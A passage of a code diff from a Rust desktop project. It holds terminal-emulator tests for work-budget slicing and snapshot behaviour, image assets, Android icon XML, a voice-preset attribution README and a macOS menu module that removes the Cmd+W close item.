// first delta measured below silently doubles.
let mut previous = term.stats().completed_work;
let mut worst = previous;
let mut calls = 1;
while more {
let before = term.pending_bytes();
more = term.drain();
assert!(
term.pending_bytes() < before,
"no progress: the tail stuck at {before} bytes",
);
let now = term.stats().completed_work;
worst = worst.max(now - previous);
previous = now;
calls += 1;
assert!(calls < 10_000, "drain did not terminate");
}
assert_eq!(term.stats().completed_units, atoms as u64, "lost units");
assert_eq!(term.pending_bytes(), 0);
assert!(
worst <= bound,
"{columns}x{lines}: worst drain spent {worst}, over the stated \
bound {bound}",
);
}
}
@@ -0,0 +1,399 @@
//! Adversarial slicing cases for resize debt, oversized atoms, and arithmetic extremes.
//!
//! **This is half a suite.** The remaining work-bound cases live in
//! `slicing.rs`; the two files are one set of contracts split only for the
//! file-size ratchet. A mutation check scoped with `--test slicing_adversarial`
//! covers 4 of 76 package tests and can report a confident pass while the
//! killing fixture sits in the sibling file. Sizing from the whole budget does
//! exactly that, then dies under the package.
//!
//! Mutation checks run the package, never a file: `cargo test -p buzz-terminal`.
use buzz_terminal::fences::{
max_atom_work, max_drain_work, slice_bytes_remaining, Fences, WORK_BUDGET,
};
use buzz_terminal::{Size, Terminal};
/// A scrollback change reprices RIS *and* the slicing derived from it.
///
/// Kills: updating the feeder's columns and lines on resize but not its
/// scrollback -- and, separately, a repair that reprices the charge while
/// leaving slice width stale. Those are different failures and neither
/// observable sees the other: fix only the charge and the drain count stays
/// wrong; fix only the derivation and the charge stays wrong.
///
/// Two properties, because one is not enough:
///
/// * The exact RIS charge at the new depth. Direct, and it is what a
/// pricing-only repair passes.
/// * Equality with a terminal *constructed* at the new depth, across work
/// and drain count. A resized feeder that is genuinely repaired is
/// indistinguishable from one that was born there. This is stronger than a
/// hand-picked threshold and immune to `WORK_BUDGET`/`MIN_SLICE` moving,
/// since both arms move together -- and the sanity arm proves the
/// comparison is deterministic before it is used to judge anything.
///
/// `completed_units` is deliberately *not* the discriminator here: it reads
/// 200 in both arms, because the same callbacks run either way and only their
/// cost and slicing differ. It is asserted anyway as the invariant that must
/// hold -- no unit lost or duplicated across a resize -- while carrying none
/// of the discrimination.
#[test]
fn a_scrollback_change_reprices_the_densest_atom_and_the_slicing() {
let shallow = Size {
columns: 200,
screen_lines: 50,
scrollback: 100,
};
let deep = Size {
scrollback: 10_000,
..shallow
};
let cells = (deep.columns * deep.screen_lines) as u64;
// Preconditions, asserted rather than assumed, because both are easy to
// break by "generalising" this fixture later:
//
// * The geometry must let the *scheduling* fields separate. They only do
// when the two depths land on different slice widths, and the deep side
// is always floored -- so the shallow side must not be. At 1600x50 the
// visible grid alone floors every depth from 0 upward, and three of the
// four observables below go silently inert.
// * The payload must be RIS. It is the only escape reaching the only
// weight carrying a scrollback term (`units::reset_state`); DECALN and
// every other atom are priced on cells or columns and are blind to
// depth, so a conforming repair would show work identical to the
// control and the assertions here would invert into false failures.
assert!(
slice_bytes_remaining(
shallow.columns,
shallow.screen_lines,
shallow.scrollback,
0,
0
) > 1,
"geometry cannot discriminate: the shallow arm is already floored",
);
assert_eq!(
slice_bytes_remaining(deep.columns, deep.screen_lines, deep.scrollback, 0, 0),
1,
);
// How a terminal at `size` retires 200 RIS: work, and how many
// acquisitions it took. Both are feeder behaviour, not helper output.
let run = |size: Size, resize_from: Option<Size>| {
let (mut term, _a) = Terminal::new(resize_from.unwrap_or(size), Fences::ALL);
if resize_from.is_some() {
term.resize(size);
}
term.reset_stats();
let mut drains = 1;
let mut more = term.feed(&b"c".repeat(200));
while more {
more = term.drain();
drains += 1;
}
(
term.stats().completed_units,
term.stats().completed_work,
drains,
)
};
let control = run(deep, None);
let sanity = run(deep, None);
assert_eq!(
control, sanity,
"two terminals built the same way must agree before this comparison can judge anything",
);
let resized = run(deep, Some(shallow));
assert_eq!(resized.0, 200, "no unit may be lost or duplicated");
assert_eq!(
resized, control,
"a feeder resized to a depth must be indistinguishable from one constructed at it -- in charge and in how many acquisitions it took",
);
// The exact charge, stated rather than inferred from the equality: a
// repair that made both arms equally *wrong* would pass the comparison.
let (mut term, _a) = Terminal::new(shallow, Fences::ALL);
term.resize(deep);
term.reset_stats();
term.feed_fully(b"c");
assert_eq!(
term.stats().completed_work,
2 * cells + (deep.scrollback * deep.columns) as u64,
);
// Shrinking retains the debt, and the fixture proves retention rather
// than merely permitting it.
//
// `>= fresh` alone is the predicate three of us proposed and all three
// withdrew: a feeder that dropped the debt reads *exactly* equal to a
// fresh shallow one, so `>=` passes on the unrepaired state. Strictness
// on the pricing field is what rejects it. The scheduling fields are
// asserted directionally with per-field signs -- `first_units` inverts,
// because a narrower slice retires fewer atoms per un-preemptable drain,
// which is the fence working -- but none of them is the discriminator:
// they separate only when the two depths straddle the slice floor, and
// `completed_work` separates at every positive depth gap.
//
// Every comparison is against the fresh control's own field, never a
// literal: a constant or geometry change must move both sides together,
// or the fixture starts asserting the arithmetic of the day it was
// written.
let measure = |term: &mut Terminal| {
term.reset_stats();
let mut drains = 1;
let mut more = term.feed(&b"\x1bc".repeat(200));
let first_units = term.stats().completed_units;
let first_pending = term.pending_bytes();
while more {
more = term.drain();
drains += 1;
}
(
first_units,
first_pending,
drains,
term.stats().completed_units,
term.stats().completed_work,
)
};
// The terminal under test stays alive past its measurement, so the
// geometry arm below runs on the feeder that actually shrank rather than
// on a lookalike that only ever grew.
let (mut shrunk_term, _a) = Terminal::new(shallow, Fences::ALL);
shrunk_term.resize(deep);
shrunk_term.resize(shallow);
let shrunk = measure(&mut shrunk_term);
let (mut fresh_term, _a) = Terminal::new(shallow, Fences::ALL);
let fresh = measure(&mut fresh_term);
assert_eq!(
shrunk.3, fresh.3,
"no unit may be lost on the way down either"
);
assert!(
shrunk.4 > fresh.4,
"a feeder that has been deep must still price deep after shrinking: \
{} against a fresh shallow {}. Equality here is the signature of a \
feeder that dropped the debt, which is indistinguishable from one \
that never had it",
shrunk.4,
fresh.4,
);
assert!(
shrunk.0 <= fresh.0,
"narrower slices retire fewer atoms per drain: {} against {}",
shrunk.0,
fresh.0,
);
assert!(
shrunk.1 >= fresh.1,
"and leave more pending after the first call: {} against {}",
shrunk.1,
fresh.1,
);
assert!(
shrunk.2 >= fresh.2,
"and take more drains to finish: {} against {}",
shrunk.2,
fresh.2,
);
// The debt survives a later resize on a different axis. Two things make
// this arm bite, and it was inert without either:
//
// * It runs on the terminal that actually went shallow -> deep ->
// shallow. A lookalike that only ever grew passes it while an
// implementation that retains on shrink and drops on the next geometry
// change fails.
// * The resize carries the *shallow* depth. Passing the debt's own value
// back in means `max(debt, new)` and a plain assignment agree, so the
// arm cannot tell them apart -- which is how it survived a mutant that
// retained only when columns and lines were unchanged.
shrunk_term.resize(Size {
columns: shallow.columns * 2,
screen_lines: shallow.screen_lines,
scrollback: shallow.scrollback,
});
shrunk_term.reset_stats();
shrunk_term.feed_fully(b"\x1bc");
assert_eq!(
shrunk_term.stats().completed_work,
2 * (shallow.columns * 2 * shallow.screen_lines) as u64
+ (deep.scrollback * shallow.columns * 2) as u64,
"a columns resize must keep the deep scrollback debt, not fall back \
to the current shallow depth",
);
}
/// One oversized atom per drain -- no callback runs after the one that
/// crosses the budget.
///
/// Kills: sizing slices from the *whole* budget rather than what remains of
/// it. RIS at any real scrollback depth is worth more than an entire budget,
/// so a slice wide enough for several callbacks runs several: measured
/// `completed_units == 3` for `ESC c` followed by `Xmore`, where the law
/// permits exactly one. The fix makes slice width a function of `remaining`,
/// which is a single byte once an atom this size is in play.
///
/// Also asserts the tail survives it: yielding after the crossing atom is
/// only correct if what follows is still parsed, exactly once.
#[test]
fn an_oversized_atom_yields_before_the_next_callback() {
let size = Size {
columns: 400,
screen_lines: 100,
scrollback: 10_000,
};
let (mut term, _a) = Terminal::new(size, Fences::ALL);
let ris_work =
2 * (size.columns * size.screen_lines) as u64 + (size.scrollback * size.columns) as u64;
assert!(
ris_work > WORK_BUDGET,
"this arm needs an atom bigger than the whole budget",
);
let more = term.feed(b"\x1bcXmore");
assert!(more, "the drain must yield with a tail");
assert_eq!(
term.stats().completed_units,
1,
"exactly the crossing atom ran: a callback after it is post-atom \
overrun, which is the thing the budget cannot preempt and therefore \
must not start",
);
assert_eq!(term.stats().completed_work, ris_work);
while term.drain() {}
assert_eq!(
term.stats().completed_units,
1 + 5,
"the five characters after it must still be parsed, exactly once",
);
assert_eq!(term.pending_bytes(), 0);
}
/// Extreme dimensions saturate rather than wrapping or panicking.
///
/// Kills: `columns * lines` in `usize` before the cast. `Size` is unclamped
/// and reaches the weight path from a caller, so this product is a reachable
/// overflow -- a debug panic inside the accounting path, or a release wrap
/// that reports the most expensive callback in the emulator as one of the
/// cheapest. Saturating is the only one of the three that fails safe.
#[test]
fn extreme_dimensions_saturate_instead_of_wrapping() {
let huge = usize::MAX / 2;
assert_eq!(max_atom_work(huge, huge, huge), u64::MAX);
assert_eq!(max_drain_work(huge, huge, huge), u64::MAX);
// The *direction* is the assertion, not merely the absence of a panic.
// A wrapping build does not produce a slightly-wrong bound, it produces a
// tiny one -- and `slice_bytes_remaining` divides the budget by it, so an
// undercharged atom yields an *oversized* slice exactly when the atom is
// most expensive. Wrapping inverts the fence. So: the widest possible
// atom must give the narrowest possible slice.
assert_eq!(
slice_bytes_remaining(huge, huge, huge, 0, 0),
1,
"an overflowing grid must clamp to the smallest slice; a wrapped \
`max_atom_work` would hand back a generous one",
);
assert_eq!(
slice_bytes_remaining(huge, huge, huge, 0, 0),
1,
"and the escape at the front of such a grid gets a single byte",
);
// The property behind those endpoints, and the stronger statement: a
// grid that costs more may never buy a wider slice. Endpoints pin the
// ends; only a sweep catches a non-monotone middle, and a wrap *is* a
// non-monotone middle -- it makes the worst grid look cheap and hands it
// the widest slice of all.
// Every axis independently: a wrap on any one of the three products is a
// non-monotone middle on that axis alone, and sweeping only scrollback
// would miss a truncating `columns * lines`.
for (axis, at) in [
(
"scrollback",
(|n| slice_bytes_remaining(200, 50, n, 0, 0)) as fn(usize) -> usize,
),
("columns", |n| slice_bytes_remaining(n.max(1), 50, 0, 0, 0)),
("lines", |n| slice_bytes_remaining(200, n.max(1), 0, 0, 0)),
] {
let mut previous = usize::MAX;
for exponent in 0..60 {
let width = at(1usize << exponent);
assert!(
width <= previous,
"slice widened from {previous} to {width} at {axis} \
2^{exponent}: more expensive grid, more generous slice",
);
assert!(width >= 1);
previous = width;
}
}
// Just past 32 bits on one axis: large enough that a narrowing cast
// shows (`1 << 32` truncates to 0 in `u32`, pricing an enormous grid at
// nothing), small enough that the honest answer is exact rather than
// saturated. Neither the extreme endpoints above nor the ordinary grids
// below can see this -- the endpoints saturate either way and the
// ordinary ones fit in 32 bits.
assert_eq!(max_atom_work(1 << 32, 1, 0), 2 * (1u64 << 32));
assert_eq!(max_atom_work(1, 1 << 32, 0), 2 * (1u64 << 32));
assert_eq!(max_atom_work(1, 1, 1 << 32), 2 + (1u64 << 32));
// Ordinary grids are untouched by the saturation: exact, not clamped.
assert_eq!(max_atom_work(80, 24, 0), 2 * 80 * 24);
assert_eq!(max_atom_work(80, 24, 100), 2 * 80 * 24 + 100 * 80);
}
/// An escape split across slices keeps its escape metering.
///
/// Kills: deciding "plain run or escape?" by looking only at the bytes ahead.
/// After a slice ending on a lone `ESC`, the next byte is `c` -- which looks
/// like ordinary text and is in fact a full grid reset. Meter it as text and
/// the oversized atom rides into a wide slice with whatever follows, which is
/// the post-atom overrun arriving through a different door. Found by the
/// oversized-atom fixture failing after I "optimised" the plain path, which
/// is the argument for keeping both.
#[test]
fn an_escape_split_across_slices_keeps_its_metering() {
let size = Size {
columns: 400,
screen_lines: 100,
scrollback: 10_000,
};
let ris_work =
2 * (size.columns * size.screen_lines) as u64 + (size.scrollback * size.columns) as u64;
// Deliver the escape one byte at a time, so the parser is left mid-
// sequence with a tail that begins on the continuation byte.
let (mut term, _a) = Terminal::new(size, Fences::ALL);
term.feed(b"\x1b");
assert_eq!(
term.stats().completed_units,
0,
"ESC alone dispatches nothing"
);
let more = term.feed(b"cXmore");
assert!(more, "the completed RIS must still yield with a tail");
assert_eq!(
term.stats().completed_units,
1,
"the continuation byte completed a grid reset; nothing may run after it",
);
assert_eq!(term.stats().completed_work, ris_work);
while term.drain() {}
assert_eq!(term.stats().completed_units, 1 + 5);
assert_eq!(term.pending_bytes(), 0);
}
@@ -0,0 +1,287 @@
//! The attach contract: what a subscriber that arrives mid-stream is given,
//! and what taking it must not cost the subscriber already there.
//!
//! `render()` reports damage -- what changed since someone last looked. That
//! is the right thing for a steady-state renderer and the wrong thing for a
//! newcomer, who needs the screen as it stands. `snapshot()` supplies that,
//! and the delicate part is that it must do so *without* consuming damage:
//! two subscribers share one terminal, and damage is a single shared cursor.
use buzz_terminal::damage::Encoder;
use buzz_terminal::fences::Fences;
use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
use std::sync::mpsc::Receiver;
/// The receiver is returned rather than dropped: dropping it disconnects the
/// channel and every subsequent listener send silently fails.
fn terminal(columns: usize, screen_lines: usize) -> (SharedTerminal, Receiver<Action>) {
let size = Size {
columns,
screen_lines,
scrollback: 100,
};
let (term, actions) = Terminal::new(size, Fences::ALL);
(SharedTerminal::new(term), actions)
}
/// Collect the non-blank text of a frame's rows, for comparing what a
/// subscriber can actually see.
fn visible_text(frame: &buzz_terminal::damage::Frame) -> Vec<String> {
frame
.rows
.iter()
.map(|row| {
row.spans
.iter()
.map(|span| span.text.as_str())
.collect::<String>()
.trim_end()
.to_string()
})
.filter(|line| !line.is_empty())
.collect()
}
/// The reason `snapshot` exists. A subscriber that attaches mid-stream and
/// starts from `render()` is handed only what changes next -- with a quiet
/// terminal that is the cursor's line alone, so the scrollback-visible screen
/// never arrives.
#[test]
fn a_late_render_shows_only_the_next_change_but_a_snapshot_shows_the_screen() {
let (shared, _actions) = terminal(20, 4);
shared.feed_fully(b"first\r\nsecond\r\nthird");
// The incumbent consumes the damage from that output.
let mut incumbent = Encoder::new();
let seen = visible_text(&shared.render(&mut incumbent));
assert_eq!(seen, vec!["first", "second", "third"]);
// A newcomer rendering now sees essentially nothing: damage is spent.
let mut latecomer = Encoder::new();
let by_render = visible_text(&shared.render(&mut latecomer));
assert!(
!by_render.contains(&"first".to_string()),
"a late render cannot show scrollback it never saw damaged, got {by_render:?}"
);
// The same newcomer snapshotting sees the whole viewport.
let mut attaching = Encoder::new();
let by_snapshot = shared.snapshot(&mut attaching);
assert_eq!(
visible_text(&by_snapshot),
vec!["first", "second", "third"],
"a snapshot must carry the visible viewport"
);
assert!(by_snapshot.full, "a snapshot is a repaint");
}
/// **The law: `snapshot()` must not consume damage.**
///
/// Two subscribers share one terminal and damage is one shared cursor, so a
/// snapshot taken for an attaching subscriber must leave the incumbent's
/// pending rows intact. A naive implementation that calls `damage()` passes a
/// full-frame test while freezing every other subscriber -- the newcomer looks
/// perfect and the incumbent silently stops updating.
///
/// The interleaving is the point: write, snapshot, *then* let the incumbent
/// render. But the interleaving alone is not enough to discriminate, and the
/// reason is this module's own rule 2 -- `Term::damage()` marks the cursor
/// line on every call. So an incumbent owed only the line it is sitting on
/// gets that line back even when its damage was stolen, and a naive snapshot
/// passes.
///
/// The owed row therefore has to be somewhere the cursor is *not*. Here row 0
/// is rewritten and the cursor is parked on row 3, so a theft leaves the
/// incumbent holding a blank cursor line and nothing else.
#[test]
fn a_snapshot_does_not_steal_the_incumbents_damage() {
let (shared, _actions) = terminal(20, 4);
// An established renderer, caught up to a quiet terminal. The initial
// content is shorter than its replacement so the rewrite below covers it
// completely and no tail of it survives.
let mut incumbent = Encoder::new();
shared.feed_fully(b"old");
let _ = shared.render(&mut incumbent);
// Rewrite row 0, then park the cursor on row 3. The incumbent is now owed
// row 0, which is not the row the cursor will re-damage for free.
shared.feed_fully(b"\x1b[1;1HAFTER\x1b[4;1H");
// A second subscriber attaches and snapshots first.
let mut attaching = Encoder::new();
let attached = shared.snapshot(&mut attaching);
assert_eq!(
visible_text(&attached),
vec!["AFTER"],
"the newcomer sees the whole screen"
);
// The incumbent must still be delivered row 0.
let follow_up = shared.render(&mut incumbent);
assert!(
follow_up.rows.iter().any(|row| row.line == 0),
"snapshot consumed the incumbent's damage: row 0 was never delivered, \
got rows {:?}",
follow_up.rows.iter().map(|r| r.line).collect::<Vec<_>>()
);
assert!(
visible_text(&follow_up).contains(&"AFTER".to_string()),
"the incumbent must still see the row written before the snapshot, got {:?}",
visible_text(&follow_up)
);
}
/// A snapshot stamps the geometry it was captured under and resets the
/// consumer's dedup state, so an encoder reused across a resize cannot carry
/// hashes describing rows of a different width.
#[test]
fn a_snapshot_realigns_a_reused_encoders_dedup_state() {
let (shared, _actions) = terminal(20, 4);
shared.feed_fully(b"wide enough line");
let mut encoder = Encoder::new();
let before = shared.snapshot(&mut encoder);
assert_eq!(before.viewport.columns, 20);
let first_generation = before.viewport.generation;
let resized = shared.resize(Size {
columns: 10,
screen_lines: 4,
scrollback: 100,
});
assert_eq!(resized.columns, 10);
assert!(
resized.generation > first_generation,
"an applied resize advances the generation"
);
// Same encoder, new geometry: every row must be re-sent, not suppressed
// as unchanged against hashes taken at the old width.
let after = shared.snapshot(&mut encoder);
assert_eq!(
after.viewport.columns, 10,
"the capture-time grid is stamped"
);
// Columns alone does not identify a grid. `Viewport`'s own doc says the
// three fields travel together *because* a consumer comparing two of the
// three can be wrong -- and this fixture used to compare one. A resize
// that changed only `screen_lines`, or 20 -> 10 -> 20, leaves columns
// matching while the generation has moved. `resize.rs` asserts this on
// `render()` frames five times and never once on a snapshot, which is
// what Sami's T3 mutant walked through; Mari's reattach reads this stamp.
assert_eq!(
after.viewport, resized,
"a snapshot stamps the identity of the grid it actually captured"
);
assert!(after.full, "a snapshot is a repaint");
assert!(
!after.rows.is_empty(),
"stale hashes must not suppress rows after a resize"
);
}
/// A snapshot carries *every* row of the viewport, including the last one,
/// and stamps the cursor plane truthfully.
///
/// Both properties are asserted here rather than in the fixtures above
/// because of what those fixtures' helper hides: `visible_text` trims and
/// drops empty lines, so a capture that skipped the bottom row of the screen
/// reads identically to one that didn't whenever the content sits in the top
/// rows -- which it does in every other fixture in this file. Sami's T2
/// mutant (`0..screen_lines - 1`) survived all four for exactly that reason.
/// So this fixture puts content on the last row and asserts the row *set*,
/// not the text.
///
/// The cursor half is the same shape of gap: nothing checked that a snapshot's
/// cursor was the terminal's cursor rather than a plausible default.
#[test]
fn a_snapshot_carries_every_row_and_the_true_cursor() {
let (shared, _actions) = terminal(20, 4);
// Write the bottom row of the screen, then park the cursor at line 4,
// column 6 (1-based) -- row 3, column 5 to us.
shared.feed_fully(b"\x1b[4;1Hbottom\x1b[4;6H");
let mut attaching = Encoder::new();
let frame = shared.snapshot(&mut attaching);
let lines: Vec<usize> = frame.rows.iter().map(|row| row.line).collect();
assert_eq!(
lines,
vec![0, 1, 2, 3],
"a snapshot must carry the whole viewport, last row included"
);
assert!(
visible_text(&frame).contains(&"bottom".to_string()),
"content on the last row must reach an attaching subscriber, got {:?}",
visible_text(&frame)
);
assert_eq!(frame.cursor.line, 3, "the snapshot's cursor line is real");
assert_eq!(
frame.cursor.column, 5,
"the snapshot's cursor column is real"
);
assert!(frame.cursor.visible, "the cursor is shown by default");
// ...and a hidden cursor is reported hidden, so `visible` tracks the mode
// rather than being a constant that happens to match the default.
shared.feed_fully(b"\x1b[?25l");
let mut second = Encoder::new();
assert!(
!shared.snapshot(&mut second).cursor.visible,
"DECTCEM off must reach the attaching subscriber"
);
}
/// Taking a snapshot is billed to the renderer plane.
///
/// The two planes are metered separately because pooling them lets the
/// reader's millions of fast acquires dilute the renderer's tail into a false
/// pass (`shared.rs` module docs). A full-grid copy is the single most
/// expensive thing that takes this lock, so misfiling it under the reader
/// would corrupt the very instrument the renderer's budget is judged by --
/// and no fixture noticed until Sami's T4.
#[test]
fn a_snapshot_is_billed_to_the_renderer_plane() {
let (shared, _actions) = terminal(20, 4);
shared.feed_fully(b"content");
shared.reader_acquire().reset();
shared.renderer_acquire().reset();
let mut attaching = Encoder::new();
let _ = shared.snapshot(&mut attaching);
assert_eq!(
shared.renderer_acquire().snapshot().acquisitions,
1,
"the snapshot's lock acquisition belongs to the renderer plane"
);
assert_eq!(
shared.reader_acquire().snapshot().acquisitions,
0,
"a full-grid copy must not be charged to the reader plane"
);
}
/// Two consecutive snapshots with no output between them still both carry the
/// screen. A snapshot is not a one-shot: reattach may happen repeatedly, and
/// nothing about the first may disarm the second.
#[test]
fn snapshots_are_repeatable() {
let (shared, _actions) = terminal(20, 4);
shared.feed_fully(b"persistent");
let mut first = Encoder::new();
let mut second = Encoder::new();
assert_eq!(
visible_text(&shared.snapshot(&mut first)),
vec!["persistent"]
);
assert_eq!(
visible_text(&shared.snapshot(&mut second)),
vec!["persistent"],
"a second subscriber attaching later must see the same screen"
);
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 4.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1010 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<foreground android:drawable="@mipmap/ic_launcher_foreground"/>
<background android:drawable="@color/ic_launcher_background"/>
</adaptive-icon>
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.5 KiB

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="ic_launcher_background">#000000</color>
</resources>
Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 758 KiB

Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 657 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 963 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.0 KiB

@@ -0,0 +1,35 @@
# Pocket TTS English VCTK presets
Buzz exposes Kyutai's twelve official English VCTK Pocket presets. The WAV
bytes are unchanged from `kyutai/tts-voices` revision
`323332d33f997de8394f24a193e1a76df720e01a`; only local filenames differ.
| Voice | Upstream asset | SHA-256 |
| --- | --- | --- |
| Anna | `vctk/p228_023_enhanced.wav` | `0a6de25cf12bf1540beb85979f306a92be81fecc051c547c5395e7e5237a3856` |
| Vera | `vctk/p229_023_enhanced.wav` | `309cf91a895830f15842b398f69a4962cb1f7e0bfab10e25dd27838e826c204b` |
| Fantine | `vctk/p244_023_enhanced.wav` | `5f07d4e2a3f20a15572aae885156b43ef3fc12ef3812996fd135680d9956448b` |
| Charles | `vctk/p254_023_enhanced.wav` | `6b681a429198f16e378d53bccb08d06939da7b00144a7696111d4f8f76be7756` |
| Paul | `vctk/p259_023_enhanced.wav` | `7aba504fe0b3b16478b69eb27ce6007e3cb42b0c1915b5f1c6a6024ae37d679b` |
| Eponine | `vctk/p262_023_enhanced.wav` | `a13c27fb47627b05223691a0ef2974358a18c886e6c2f9d2762ff1d02c20926b` |
| Azelma | `vctk/p303_023_enhanced.wav` | `60e3d26cdf2efdec5df712152c839928f4d5522821e6554ae11fd96c57ab1026` |
| George | `vctk/p315_023_enhanced.wav` | `29a41f93bf5236e5b21501091d7774c255d5f3d4e62fa4f9fdf0a92a793c84ae` |
| Mary | `vctk/p333_023_enhanced.wav` | `a35b0468382218e9f37a9a7494d1e4b74deaf18d7ced22265b4e325bb55c183f` |
| Jane | `vctk/p339_023_enhanced.wav` | `2f12e7f155eb3118f55425394f1b049e5b1b67bdc9b3932c8ba4521420aeb84a` |
| Michael | `vctk/p360_023_enhanced.wav` | `b6743e9195e5e3fd34fe9d1633ae93f7ffab787b249e45f6467d7d6f7a6ee6ad` |
| Eve | `vctk/p361_023_enhanced.wav` | `396e7cbd066b0f3fb6d67fa26e7904076958239d736d4390f15b5fe88feb14cd` |
Mary is already installed as the Pocket model's `reference_sample.wav`, so it
is not duplicated in this resource directory.
Source repository:
https://huggingface.co/kyutai/tts-voices/tree/323332d33f997de8394f24a193e1a76df720e01a/vctk
The original recordings are from the Voice Cloning Toolkit (VCTK) corpus,
licensed CC BY 4.0:
https://datashare.ed.ac.uk/handle/10283/3443
The recordings were enhanced by ai-coustics:
https://ai-coustics.com/
Neither Kyutai, the VCTK speakers, nor ai-coustics endorses Buzz.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+115
View File
@@ -0,0 +1,115 @@
//! The macOS application menu.
//!
//! Buzz never called `Builder::menu()`, so Tauri installed `Menu::default()`
//! for us (`tauri::app::Builder::build`, macOS arm). That default puts a
//! `close_window` item in both the File and Window submenus, and muda gives
//! that item a Cmd+W key equivalent bound to `performClose:`.
//!
//! Two consequences, both wrong for Buzz:
//!
//! 1. `CloseRequested` on the main window is intercepted in `lib.rs` and turned
//! into hide-to-tray, so Cmd+W never closed a window -- it hid the whole
//! app. That is already redundant with Cmd+H (Hide), which stays.
//! 2. macOS resolves a menu key equivalent before the webview receives any key
//! event, so Buzz Term could never bind Cmd+W to "close this terminal tab"
//! while the accelerator was claimed here.
//!
//! So this module builds the standard menu minus both `close_window` items.
//! Everything else matches `Menu::default()` deliberately: the goal is to drop
//! one item, not to design a menu.
//!
//! If hide-on-Cmd+W is ever wanted back in Buzz mode, the revisit path is to
//! restore the item and disable it while the terminal owns input (a disabled
//! item does not consume its key equivalent) -- at the cost of an owner->Rust
//! IPC hop this approach does not need.
#[cfg(target_os = "macos")]
use tauri::menu::{
AboutMetadata, Menu, PredefinedMenuItem, Submenu, HELP_SUBMENU_ID, WINDOW_SUBMENU_ID,
};
#[cfg(target_os = "macos")]
use tauri::AppHandle;
use tauri::{Builder, Runtime};
/// Installs Buzz's menu, replacing the `Menu::default()` Tauri would otherwise
/// auto-install. A no-op off macOS, where that default is never created and
/// the Cmd+W accelerator does not exist.
pub fn install<R: Runtime>(builder: Builder<R>) -> Builder<R> {
#[cfg(target_os = "macos")]
let builder = builder.menu(build);
builder
}
/// Mirrors `Menu::default()` with every `close_window` item omitted.
///
/// The Window and Help submenus keep Tauri's well-known ids: `init_app_menu`
/// looks them up by id to call `set_as_windows_menu_for_nsapp` and
/// `set_as_help_menu_for_nsapp`, and a plain `with_items` submenu would skip
/// both silently -- no error, just a Window menu AppKit no longer manages.
#[cfg(target_os = "macos")]
pub fn build<R: Runtime>(app: &AppHandle<R>) -> tauri::Result<Menu<R>> {
let pkg_info = app.package_info();
let config = app.config();
let about_metadata = AboutMetadata {
name: Some(pkg_info.name.clone()),
version: Some(pkg_info.version.to_string()),
copyright: config.bundle.copyright.clone(),
authors: config.bundle.publisher.clone().map(|p| vec![p]),
..Default::default()
};
Menu::with_items(
app,
&[
&Submenu::with_items(
app,
pkg_info.name.clone(),
true,
&[
&PredefinedMenuItem::about(app, None, Some(about_metadata))?,
&PredefinedMenuItem::separator(app)?,
